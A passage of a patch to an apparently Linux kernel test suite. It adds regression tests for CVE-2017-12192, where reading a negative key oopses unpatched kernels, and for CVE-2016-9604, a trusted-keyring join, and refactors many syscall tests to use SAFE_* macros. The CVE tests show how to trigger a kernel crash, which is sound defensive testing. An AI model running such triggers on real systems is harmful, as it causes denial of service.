+ * negative key").  This is CVE-2017-12192.
+ */
+
+#include <errno.h>
+#include <stdlib.h>
+#include <sys/wait.h>
+
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+
+static void try_to_read_negative_key(void)
+{
+	key_serial_t key_id;
+	char buffer[128];
+
+	/*
+	 * Create a negatively instantiated key of the "user" key type.  This
+	 * key type is chosen because it has a ->read() method (which makes the
+	 * bug reachable) and is available whenever CONFIG_KEYS is enabled.
+	 *
+	 * request_key() will result in the creation of a negative key provided
+	 * that /sbin/request-key isn't configured to positively instantiate the
+	 * key, based on the provided type, description, and callout_info.  If
+	 * /sbin/request-key doesn't exist, errno will be ENOENT; while if it
+	 * does exist and we specify some random unprefixed description, errno
+	 * should be ENOKEY (since /sbin/request-key should not be configured to
+	 * instantiate random user keys).  In either case a negative key should
+	 * be created and we can continue on with the test.  Negative keys last
+	 * for 60 seconds so there should be plenty of time for the test.
+	 */
+	TEST(request_key("user", "description", "callout_info",
+			 KEY_SPEC_PROCESS_KEYRING));
+	if (TEST_RETURN != -1)
+		tst_brk(TBROK, "request_key() unexpectedly succeeded");
+
+	if (TEST_ERRNO != ENOKEY && TEST_ERRNO != ENOENT) {
+		tst_brk(TBROK | TTERRNO,
+			"request_key() failed with unexpected error");
+	}
+
+	/* Get the ID of the negative key by reading the keyring */
+	TEST(keyctl(KEYCTL_READ, KEY_SPEC_PROCESS_KEYRING,
+		    &key_id, sizeof(key_id)));
+	if (TEST_RETURN < 0)
+		tst_brk(TBROK | TTERRNO, "KEYCTL_READ unexpectedly failed");
+	if (TEST_RETURN != sizeof(key_id)) {
+		tst_brk(TBROK, "KEYCTL_READ returned %ld but expected %zu",
+			TEST_RETURN, sizeof(key_id));
+	}
+
+	/*
+	 * Now try to read the negative key.  Unpatched kernels will oops trying
+	 * to read from memory address 0x00000000ffffff92.
+	 */
+	tst_res(TINFO, "trying to read from the negative key...");
+	TEST(keyctl(KEYCTL_READ, key_id, buffer, sizeof(buffer)));
+	if (TEST_RETURN != -1) {
+		tst_brk(TFAIL,
+			"KEYCTL_READ on negative key unexpectedly succeeded");
+	}
+	if (TEST_ERRNO != ENOKEY) {
+		tst_brk(TFAIL | TTERRNO,
+			"KEYCTL_READ on negative key failed with unexpected error");
+	}
+	tst_res(TPASS,
+		"KEYCTL_READ on negative key expectedly failed with ENOKEY");
+}
+
+static void do_test(void)
+{
+	int status;
+
+	if (SAFE_FORK() == 0) {
+		try_to_read_negative_key();
+		return;
+	}
+
+	SAFE_WAIT(&status);
+
+	if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
+		tst_res(TPASS, "didn't crash while reading from negative key");
+		return;
+	}
+
+	if (WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL) {
+		tst_res(TFAIL, "reading from negative key caused kernel oops");
+		return;
+	}
+
+	tst_brk(TBROK, "Child %s", tst_strstatus(status));
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/keyctl/keyctl08.c b/testcases/kernel/syscalls/keyctl/keyctl08.c
new file mode 100644
index 0000000..fca5c34
--- /dev/null
+++ b/testcases/kernel/syscalls/keyctl/keyctl08.c
@@ -0,0 +1,44 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/* Check for CVE-2016-9604; that keys beginning with "." are disallowed.
+ *
+ * See commit ee8f844e3c5a73b999edf733df1c529d6503ec2f
+ */
+
+#include <errno.h>
+#include "tst_test.h"
+#include "lapi/keyctl.h"
+
+void run(void)
+{
+	if (keyctl_join_session_keyring(".builtin_trusted_keys") == -1) {
+		if (errno != EPERM) {
+			tst_brk(TBROK | TERRNO,
+				"keyctl_join_sessoin_keyring(...)");
+		}
+
+		tst_res(TPASS, "Denied access to .builtin_trusted_keys");
+	} else {
+		tst_res(TFAIL, "Allowed access to .builtin_trusted_keys");
+	}
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.needs_root = 1,
+	.min_kver = "2.6.13",
+};
diff --git a/testcases/kernel/syscalls/lchown/lchown01.c b/testcases/kernel/syscalls/lchown/lchown01.c
index eaf71c7..89c85e9 100644
--- a/testcases/kernel/syscalls/lchown/lchown01.c
+++ b/testcases/kernel/syscalls/lchown/lchown01.c
@@ -40,6 +40,7 @@
 #include <signal.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 #define FILE_MODE	(S_IFREG|S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
@@ -158,13 +159,9 @@
 	if ((fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE)) == -1) {
 		tst_brkm(TBROK, cleanup, "open failed");
 	}
-	if (close(fd) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "close failed");
-	}
+	SAFE_CLOSE(cleanup, fd);
 
-	if (symlink(TESTFILE, SFILE) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup, "symlink failed");
-	}
+	SAFE_SYMLINK(cleanup, TESTFILE, SFILE);
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/lchown/lchown02.c b/testcases/kernel/syscalls/lchown/lchown02.c
index 765ae7a..326e584 100644
--- a/testcases/kernel/syscalls/lchown/lchown02.c
+++ b/testcases/kernel/syscalls/lchown/lchown02.c
@@ -57,6 +57,7 @@
 #include <sys/mman.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 #define TEST_USER       "nobody"
@@ -199,16 +200,14 @@
 	if ((fd = open(TEST_FILE1, O_RDWR | O_CREAT, 0666)) == -1)
 		tst_brkm(TBROK | TERRNO, cleanup, "open failed");
 
-	if (close(fd) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "close failed");
+	SAFE_CLOSE(cleanup, fd);
 
 	/* become root once more */
 	if (seteuid(0) == -1)
 		tst_resm(TBROK | TERRNO, "setuid(0) failed");
 
 	/* create symling to testfile */
-	if (symlink(TEST_FILE1, SFILE1) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "symlink failed");
+	SAFE_SYMLINK(cleanup, TEST_FILE1, SFILE1);
 
 	/* back to the user nobody */
 	if (seteuid(ltpuser->pw_uid) == -1)
@@ -229,27 +228,19 @@
 	int fd;
 
 	/* create a test directory */
-	if (mkdir(DIR_TEMP, MODE_RWX) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "mkdir failed");
+	SAFE_MKDIR(cleanup, DIR_TEMP, MODE_RWX);
 
 	/* create a file under test directory */
 	if ((fd = open(TEST_FILE2, O_RDWR | O_CREAT, 0666)) == -1)
 		tst_brkm(TBROK | TERRNO, cleanup, "open failed");
 
-	if (close(fd) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "close failed");
+	SAFE_CLOSE(cleanup, fd);
 
 	/* create a symlink of testfile */
-	if (symlink(TEST_FILE2, SFILE2) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup, "symlink(2) %s to %s failed",
-			 TEST_FILE2, SFILE2);
-	}
+	SAFE_SYMLINK(cleanup, TEST_FILE2, SFILE2);
 
 	/* modify mode permissions on test directory */
-	if (chmod(DIR_TEMP, FILE_MODE) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup, "chmod(2) %s failed",
-			 DIR_TEMP);
-	}
+	SAFE_CHMOD(cleanup, DIR_TEMP, FILE_MODE);
 }
 
 /*
@@ -298,9 +289,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup, "open(2) %s failed", TFILE3);
 	}
 
-	if (close(fd) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "close(2) %s failed", TFILE3);
-	}
+	SAFE_CLOSE(cleanup, fd);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/lchown/lchown03.c b/testcases/kernel/syscalls/lchown/lchown03.c
index 3f66a38..c26f54c 100644
--- a/testcases/kernel/syscalls/lchown/lchown03.c
+++ b/testcases/kernel/syscalls/lchown/lchown03.c
@@ -109,10 +109,7 @@
 
 	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
 	SAFE_MKDIR(cleanup, TEST_EROFS, DIR_MODE);
-	if (mount(device, TEST_EROFS, fs_type, MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, TEST_EROFS, fs_type, MS_RDONLY, NULL);
 	mount_flag = 1;
 }
 
diff --git a/testcases/kernel/syscalls/link/link08.c b/testcases/kernel/syscalls/link/link08.c
index 05662e2..8cb72d1 100644
--- a/testcases/kernel/syscalls/link/link08.c
+++ b/testcases/kernel/syscalls/link/link08.c
@@ -145,18 +145,12 @@
 
 	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
 	SAFE_MKDIR(cleanup, MNT_POINT, DIR_MODE);
-	if (mount(device, MNT_POINT, fs_type, 0, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNT_POINT, fs_type, 0, NULL);
 	mount_flag = 1;
 
 	SAFE_TOUCH(cleanup, TEST_FILE2, 0644, NULL);
-	if (mount(device, MNT_POINT, fs_type,
-		  MS_REMOUNT | MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNT_POINT, fs_type,
+		   MS_REMOUNT | MS_RDONLY, NULL);
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/linkat/linkat02.c b/testcases/kernel/syscalls/linkat/linkat02.c
index 292d9f5..51785af 100644
--- a/testcases/kernel/syscalls/linkat/linkat02.c
+++ b/testcases/kernel/syscalls/linkat/linkat02.c
@@ -173,10 +173,7 @@
 	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
 	SAFE_MKDIR(cleanup, "mntpoint", DIR_MODE);
 
-	if (mount(device, "mntpoint", fs_type, 0, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type, 0, NULL);
 	mount_flag = 1;
 
 	max_hardlinks = tst_fs_fill_hardlinks(cleanup, "emlink_dir");
@@ -194,11 +191,8 @@
 
 static void setup_erofs(void)
 {
-	if (mount(device, "mntpoint", fs_type,
-		  MS_REMOUNT | MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup, "remount device:%s failed",
-			 device);
-	}
+	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type,
+		   MS_REMOUNT | MS_RDONLY, NULL);
 	mount_flag = 1;
 }
 
diff --git a/testcases/kernel/syscalls/listen/listen01.c b/testcases/kernel/syscalls/listen/listen01.c
index e421bb4..d33f209 100644
--- a/testcases/kernel/syscalls/listen/listen01.c
+++ b/testcases/kernel/syscalls/listen/listen01.c
@@ -53,6 +53,7 @@
 #include <netinet/in.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "listen01";
 int testno;
@@ -140,11 +141,8 @@
 
 void setup1(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0) {
-		tst_brkm(TBROK, cleanup, "socket setup failed for listen: "
-			 "%s", strerror(errno));
-	}
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+		        tdat[testno].proto);
 }
 
 void cleanup1(void)
diff --git a/testcases/kernel/syscalls/llseek/llseek01.c b/testcases/kernel/syscalls/llseek/llseek01.c
index 6c98a44..9ae8218 100644
--- a/testcases/kernel/syscalls/llseek/llseek01.c
+++ b/testcases/kernel/syscalls/llseek/llseek01.c
@@ -191,9 +191,7 @@
 	/* Set limit low, argument is # bytes */
 	rlp.rlim_cur = rlp.rlim_max = 2 * BUFSIZ;
 
-	if (setrlimit(RLIMIT_FSIZE, &rlp) == -1)
-		tst_brkm(TBROK, cleanup,
-			 "Cannot set max. file size using setrlimit");
+	SAFE_SETRLIMIT(cleanup, RLIMIT_FSIZE, &rlp);
 
 	/* Creat/open a temporary file under above directory */
 	if ((fildes = open(TEMP_FILE, O_RDWR | O_CREAT, FILE_MODE)) == -1) {
diff --git a/testcases/kernel/syscalls/llseek/llseek02.c b/testcases/kernel/syscalls/llseek/llseek02.c
index 9227f70..5f2e398 100644
--- a/testcases/kernel/syscalls/llseek/llseek02.c
+++ b/testcases/kernel/syscalls/llseek/llseek02.c
@@ -82,6 +82,7 @@
 #include <signal.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define TEMP_FILE1	"tmp_file1"
 #define TEMP_FILE2	"tmp_file2"
@@ -249,10 +250,7 @@
 	}
 
 	/* Close the temporary file created above */
-	if (close(fd2) < 0) {
-		tst_brkm(TBROK, cleanup, "close(%s) Failed, errno=%d : %s:",
-			 TEMP_FILE2, errno, strerror(errno));
-	}
+	SAFE_CLOSE(cleanup, fd2);
 
 	return 0;
 }
diff --git a/testcases/kernel/syscalls/lstat/lstat02.c b/testcases/kernel/syscalls/lstat/lstat02.c
index afc2c7c..ab46787 100644
--- a/testcases/kernel/syscalls/lstat/lstat02.c
+++ b/testcases/kernel/syscalls/lstat/lstat02.c
@@ -124,8 +124,7 @@
 
 	SAFE_MKDIR(cleanup, TEST_DIR, MODE_RWX);
 	SAFE_TOUCH(cleanup, TEST_EACCES, 0666, NULL);
-	if (chmod(TEST_DIR, FILE_MODE) < 0)
-		tst_brkm(TBROK, cleanup, "chmod(2) of %s failed", TEST_DIR);
+	SAFE_CHMOD(cleanup, TEST_DIR, FILE_MODE);
 
 	SAFE_TOUCH(cleanup, "test_file", MODE_RWX, NULL);
 
diff --git a/testcases/kernel/syscalls/madvise/madvise07.c b/testcases/kernel/syscalls/madvise/madvise07.c
index ef9aa4a..170642a 100644
--- a/testcases/kernel/syscalls/madvise/madvise07.c
+++ b/testcases/kernel/syscalls/madvise/madvise07.c
@@ -91,10 +91,15 @@
 	}
 
 	SAFE_WAITPID(pid, &status, 0);
-	if (WIFSIGNALED(status) && WTERMSIG(status) == SIGBUS)
+	if (WIFSIGNALED(status) && WTERMSIG(status) == SIGBUS) {
 		tst_res(TPASS, "Received SIGBUS after accessing poisoned page");
-	else if (WIFEXITED(status) && WEXITSTATUS(status) == TBROK)
-		tst_res(TBROK, "Child exited abnormally");
+		return;
+	}
+
+	if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
+		return;
+
+	tst_res(TFAIL, "Child %s", tst_strstatus(status));
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/madvise/madvise09.c b/testcases/kernel/syscalls/madvise/madvise09.c
index 7ad76f7..f744405 100644
--- a/testcases/kernel/syscalls/madvise/madvise09.c
+++ b/testcases/kernel/syscalls/madvise/madvise09.c
@@ -305,8 +305,11 @@
 		goto retry;
 	}
 
-	if (WIFEXITED(status) && WEXITSTATUS(status))
-		tst_brk(TBROK, "Child exitted unexpectedly");
+	if (WIFEXITED(status) && WEXITSTATUS(status) == TCONF)
+		tst_brk(TCONF, "MADV_FREE is not supported");
+
+	if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
+		tst_brk(TBROK, "Child %s", tst_strstatus(status));
 }
 
 static void setup(void)
@@ -334,7 +337,6 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = run,
-	.min_kver = "4.5",
 	.needs_root = 1,
 	.forks_child = 1,
 };
diff --git a/testcases/kernel/syscalls/mbind/Makefile b/testcases/kernel/syscalls/mbind/Makefile
index 5132dff..1e2f5e4 100644
--- a/testcases/kernel/syscalls/mbind/Makefile
+++ b/testcases/kernel/syscalls/mbind/Makefile
@@ -20,15 +20,6 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-#
-# gcc complains about unused functions / variables when HAS_NUMA_H isn't
-# defined, so let's just skip the warning. It's nothing more than a few extra
-# variables and functions allocated on the stack, so meh... no harm, no foul.
-#
-ifeq ($(NUMA_LIBS),)
-CPPFLAGS		+= -Wno-unused
-endif
-
 CPPFLAGS		+= -I$(abs_srcdir)/../utils/
 
 include $(top_srcdir)/testcases/kernel/include/lib.mk
diff --git a/testcases/kernel/syscalls/mbind/mbind01.c b/testcases/kernel/syscalls/mbind/mbind01.c
index be54706..4eb7da6 100644
--- a/testcases/kernel/syscalls/mbind/mbind01.c
+++ b/testcases/kernel/syscalls/mbind/mbind01.c
@@ -22,12 +22,15 @@
  */
 
 #include <errno.h>
+#if HAVE_NUMA_H
+#include <numa.h>
+#endif
 
+#include "config.h"
 #include "numa_helper.h"
 #include "tst_test.h"
 
-#if HAVE_NUMA_H && HAVE_NUMAIF_H && HAVE_MPOL_CONSTANTS && \
-	defined(LIBNUMA_API_VERSION) && LIBNUMA_API_VERSION >= 2
+#ifdef HAVE_NUMA_V2
 
 #define MEM_LENGTH (4 * 1024 * 1024)
 
@@ -233,6 +236,6 @@
 	.setup = setup,
 };
 
-#else /* libnuma >= 2 */
-TST_TEST_TCONF("test requires libnuma >= 2.");
+#else
+TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
 #endif
diff --git a/testcases/kernel/syscalls/migrate_pages/Makefile b/testcases/kernel/syscalls/migrate_pages/Makefile
index 7168cd6..46a35d3 100644
--- a/testcases/kernel/syscalls/migrate_pages/Makefile
+++ b/testcases/kernel/syscalls/migrate_pages/Makefile
@@ -23,9 +23,6 @@
 MAKE_TARGETS		:= $(patsubst $(abs_srcdir)/%.c,%,$(wildcard $(abs_srcdir)/*[0-9].c))
 $(MAKE_TARGETS): %: %.o migrate_pages_common.o
 
-ifeq ($(NUMA_LIBS),)
-CPPFLAGS		+= -Wno-unused
-endif
 CPPFLAGS		+= -I$(abs_srcdir)/../utils/
 
 include $(top_srcdir)/testcases/kernel/include/lib.mk
diff --git a/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c b/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c
index 88a3721..01409f3 100644
--- a/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c
+++ b/testcases/kernel/syscalls/migrate_pages/migrate_pages01.c
@@ -55,7 +55,8 @@
 	{NULL, NULL, NULL}
 };
 
-#if defined(__NR_migrate_pages) && HAVE_NUMA_H && HAVE_NUMAIF_H
+#if defined(HAVE_NUMA_V2) && defined(__NR_migrate_pages)
+
 static unsigned long *sane_old_nodes;
 static unsigned long *sane_new_nodes;
 static int sane_nodemask_size;
@@ -117,8 +118,7 @@
 	check_ret(-1);
 	check_errno(EFAULT);
 
-	if (munmap(p, getpagesize()) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "munmap");
+	SAFE_MUNMAP(cleanup, p, getpagesize());
 	tst_resm(TINFO, "test_invalid_mem unmmaped");
 	TEST(ltp_syscall(__NR_migrate_pages, 0, sane_max_node, p, p));
 	check_ret(-1);
@@ -183,17 +183,14 @@
 		ltpuser = getpwnam(nobody_uid);
 		if (ltpuser == NULL)
 			tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed");
-		if (setuid(ltpuser->pw_uid) == -1)
-			tst_brkm(TBROK | TERRNO, NULL,
-				 "setuid(%u) failed", ltpuser->pw_uid);
+		SAFE_SETUID(NULL, ltpuser->pw_uid);
 		TEST(ltp_syscall(__NR_migrate_pages, parent_pid,
 			     sane_max_node, sane_old_nodes, sane_new_nodes));
 		ret |= check_ret(-1);
 		ret |= check_errno(EPERM);
 		exit(ret);
 	default:
-		if (waitpid(child_pid, &status, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+		SAFE_WAITPID(cleanup, child_pid, &status, 0);
 		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 			tst_resm(TFAIL, "child returns %d", status);
 	}
@@ -253,10 +250,10 @@
 	free(sane_new_nodes);
 }
 
-#else /* __NR_migrate_pages */
+#else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "System doesn't support __NR_migrate_pages"
-		 " or libnuma is not available");
+	tst_brkm(TCONF, NULL, "System doesn't support __NR_migrate_pages or "
+		 "libnuma or libnuma development packages are not available");
 }
 #endif
diff --git a/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c b/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c
index 4b1126e..faf96b6 100644
--- a/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c
+++ b/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c
@@ -45,6 +45,7 @@
 #include <stdlib.h>
 #include <unistd.h>
 #include <pwd.h>
+
 #include "config.h"
 #include "test.h"
 #include "safe_macros.h"
@@ -65,7 +66,8 @@
 char *TCID = "migrate_pages02";
 int TST_TOTAL = 1;
 
-#if defined(__NR_migrate_pages) && HAVE_NUMA_H && HAVE_NUMAIF_H
+#if defined(HAVE_NUMA_V2) && defined(__NR_migrate_pages)
+
 static const char nobody_uid[] = "nobody";
 static struct passwd *ltpuser;
 static int *nodes, nodeA, nodeB;
@@ -207,9 +209,7 @@
 		testp[0] = 1;
 		testp2[0] = 1;
 		if (!cap_sys_nice)
-			if (seteuid(ltpuser->pw_uid) == -1)
-				tst_brkm(TBROK | TERRNO, NULL,
-					 "seteuid failed");
+			SAFE_SETEUID(NULL, ltpuser->pw_uid);
 
 		migrate_to_node(0, node1);
 		/* child can migrate non-shared memory */
@@ -219,8 +219,7 @@
 		munmap(testp2, getpagesize());
 		exit(ret);
 	default:
-		if (waitpid(child, &status, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+		SAFE_WAITPID(cleanup, child, &status, 0);
 		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 			tst_resm(TFAIL, "child returns %d", status);
 		if (cap_sys_nice)
@@ -266,8 +265,7 @@
 		migrate_to_node(0, node1);
 		check_addr_on_node(testp, node1);
 
-		if (seteuid(ltpuser->pw_uid) == -1)
-			tst_brkm(TBROK | TERRNO, NULL, "seteuid failed");
+		SAFE_SETEUID(NULL, ltpuser->pw_uid);
 
 		/* signal parent it's OK to migrate child and wait */
 		if (write(child_ready[1], &tmp, 1) != 1)
@@ -288,9 +286,7 @@
 		close(pages_migrated[0]);
 
 		if (!cap_sys_nice)
-			if (seteuid(ltpuser->pw_uid) == -1)
-				tst_brkm(TBROK | TERRNO, NULL,
-					 "seteuid failed");
+			SAFE_SETEUID(NULL, ltpuser->pw_uid);
 
 		/* wait until child is ready on node1, then migrate and
 		 * signal to check current node */
@@ -300,8 +296,7 @@
 		if (write(pages_migrated[1], &tmp, 1) != 1)
 			tst_brkm(TBROK | TERRNO, NULL, "write #2 failed");
 
-		if (waitpid(child, &status, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+		SAFE_WAITPID(cleanup, child, &status, 0);
 		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 			tst_resm(TFAIL, "child returns %d", status);
 		close(child_ready[0]);
@@ -309,9 +304,7 @@
 
 		/* reset euid, so this testcase can be used in loop */
 		if (!cap_sys_nice)
-			if (seteuid(0) == -1)
-				tst_brkm(TBROK | TERRNO, NULL,
-					 "seteuid failed");
+			SAFE_SETEUID(NULL, 0);
 	}
 }
 
@@ -406,10 +399,10 @@
 	free(nodes);
 }
 
-#else /* __NR_migrate_pages */
+#else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "System doesn't support __NR_migrate_pages"
-		 " or libnuma is not available");
+	tst_brkm(TCONF, NULL, "System doesn't support __NR_migrate_pages or "
+		 "libnuma or libnuma development packages are not available");
 }
 #endif
diff --git a/testcases/kernel/syscalls/mincore/mincore01.c b/testcases/kernel/syscalls/mincore/mincore01.c
index fa426d1..1632c72 100644
--- a/testcases/kernel/syscalls/mincore/mincore01.c
+++ b/testcases/kernel/syscalls/mincore/mincore01.c
@@ -140,10 +140,7 @@
 {
 	struct rlimit as_lim;
 
-	if (getrlimit(RLIMIT_AS, &as_lim) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "getrlimit(RLIMIT_AS) failed");
-	}
+	SAFE_GETRLIMIT(cleanup, RLIMIT_AS, &as_lim);
 
 	tc->addr = global_pointer;
 	tc->len = as_lim.rlim_cur - (rlim_t)global_pointer + pagesize;
diff --git a/testcases/kernel/syscalls/mincore/mincore02.c b/testcases/kernel/syscalls/mincore/mincore02.c
index 713473a..ab73f4b 100644
--- a/testcases/kernel/syscalls/mincore/mincore02.c
+++ b/testcases/kernel/syscalls/mincore/mincore02.c
@@ -36,6 +36,7 @@
 #include <errno.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "mincore02";
 int TST_TOTAL = 1;
@@ -72,11 +73,8 @@
 	memset(buf, 42, size);
 	vec = malloc((size + page_size - 1) / page_size);
 	
-	fd = open("mincore02", O_CREAT | O_RDWR, S_IRUSR | S_IWUSR);
-	if (fd == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-		         "Unable to create temporary file");
-	}
+	fd = SAFE_OPEN(cleanup, "mincore02", O_CREAT | O_RDWR,
+		       S_IRUSR | S_IWUSR);
 
 	/* fill the temporary file with two pages of data */
 	if (write(fd, buf, size) < 0) {
diff --git a/testcases/kernel/syscalls/mkdir/mkdir05.c b/testcases/kernel/syscalls/mkdir/mkdir05.c
index 6397ba5..3d25c43 100644
--- a/testcases/kernel/syscalls/mkdir/mkdir05.c
+++ b/testcases/kernel/syscalls/mkdir/mkdir05.c
@@ -31,6 +31,7 @@
 #include <unistd.h>
 #include <pwd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -83,10 +84,7 @@
 			continue;
 		}
 
-		if (stat(tstdir1, &buf) == -1) {
-			tst_brkm(TBROK, cleanup, "failed to stat the "
-				 "new directory");
-		}
+		SAFE_STAT(cleanup, tstdir1, &buf);
 		/* check the owner */
 		if (buf.st_uid != geteuid()) {
 			tst_resm(TFAIL, "mkdir() FAILED to set owner ID"
@@ -102,9 +100,7 @@
 		tst_resm(TPASS, "mkdir() functionality is correct");
 
 		/* clean up things in case we are looping */
-		if (rmdir(tstdir1) == -1) {
-			tst_brkm(TBROK, cleanup, "could not remove directory");
-		}
+		SAFE_RMDIR(cleanup, tstdir1);
 
 	}
 
diff --git a/testcases/kernel/syscalls/mkdir/mkdir08.c b/testcases/kernel/syscalls/mkdir/mkdir08.c
index 752763a..ead218a 100644
--- a/testcases/kernel/syscalls/mkdir/mkdir08.c
+++ b/testcases/kernel/syscalls/mkdir/mkdir08.c
@@ -117,6 +117,7 @@
 #include <fcntl.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -159,11 +160,7 @@
 		} else {
 			tst_resm(TPASS, "mkdir(%s) returned %ld", fname,
 				 TEST_RETURN);
-			if (rmdir(fname) == -1) {
-				tst_brkm(TBROK, cleanup,
-					 "rmdir(%s) Failed, errno=%d : %s",
-					 fname, errno, strerror(errno));
-			}
+			SAFE_RMDIR(cleanup, fname);
 		}
 
 	}
diff --git a/testcases/kernel/syscalls/mkdirat/mkdirat02.c b/testcases/kernel/syscalls/mkdirat/mkdirat02.c
index e4dd999..9dcf37f 100644
--- a/testcases/kernel/syscalls/mkdirat/mkdirat02.c
+++ b/testcases/kernel/syscalls/mkdirat/mkdirat02.c
@@ -119,17 +119,12 @@
 	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
 
 	SAFE_MKDIR(cleanup, "test_dir/mntpoint", DIR_MODE);
-	if (mount(device, "test_dir/mntpoint", fs_type, MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, "test_dir/mntpoint", fs_type, MS_RDONLY,
+		   NULL);
 	mount_flag_dir = 1;
 
 	SAFE_MKDIR(cleanup, "mntpoint", DIR_MODE);
-	if (mount(device, "mntpoint", fs_type, MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type, MS_RDONLY, NULL);
 	mount_flag_cur = 1;
 }
 
diff --git a/testcases/kernel/syscalls/mknod/mknod02.c b/testcases/kernel/syscalls/mknod/mknod02.c
index 07c2048..e5741c3 100644
--- a/testcases/kernel/syscalls/mknod/mknod02.c
+++ b/testcases/kernel/syscalls/mknod/mknod02.c
@@ -80,6 +80,7 @@
 #include <sys/stat.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define LTPUSER		"nobody"
 #define MODE_RWX	S_IFIFO | S_IRWXU | S_IRWXG | S_IRWXO
@@ -236,20 +237,14 @@
 	 * specified mode permissions, with uid/gid set to that of guest
 	 * user and the test process.
 	 */
-	if (mkdir(DIR_TEMP, MODE_RWX) < 0) {
-		tst_brkm(TBROK, cleanup, "mkdir(2) of %s failed", DIR_TEMP);
-	}
-	if (chown(DIR_TEMP, user1_uid, group2_gid) < 0) {
-		tst_brkm(TBROK, cleanup, "chown(2) of %s failed", DIR_TEMP);
-	}
+	SAFE_MKDIR(cleanup, DIR_TEMP, MODE_RWX);
+	SAFE_CHOWN(cleanup, DIR_TEMP, user1_uid, group2_gid);
 
 	/*
 	 * Verify that test directory created with expected permission modes
 	 * and ownerships.
 	 */
